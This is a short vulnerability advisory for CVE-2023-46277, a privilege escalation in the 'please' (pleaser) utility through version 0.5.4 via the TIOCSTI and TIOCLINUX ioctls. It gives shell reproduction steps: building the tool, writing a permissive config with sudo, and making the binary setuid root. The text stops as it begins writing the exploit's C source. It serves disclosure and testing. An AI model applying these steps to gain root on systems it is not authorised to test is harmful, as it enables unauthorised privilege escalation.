CVE-2023-46277: Pleaser privilege escalation vulnerability

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c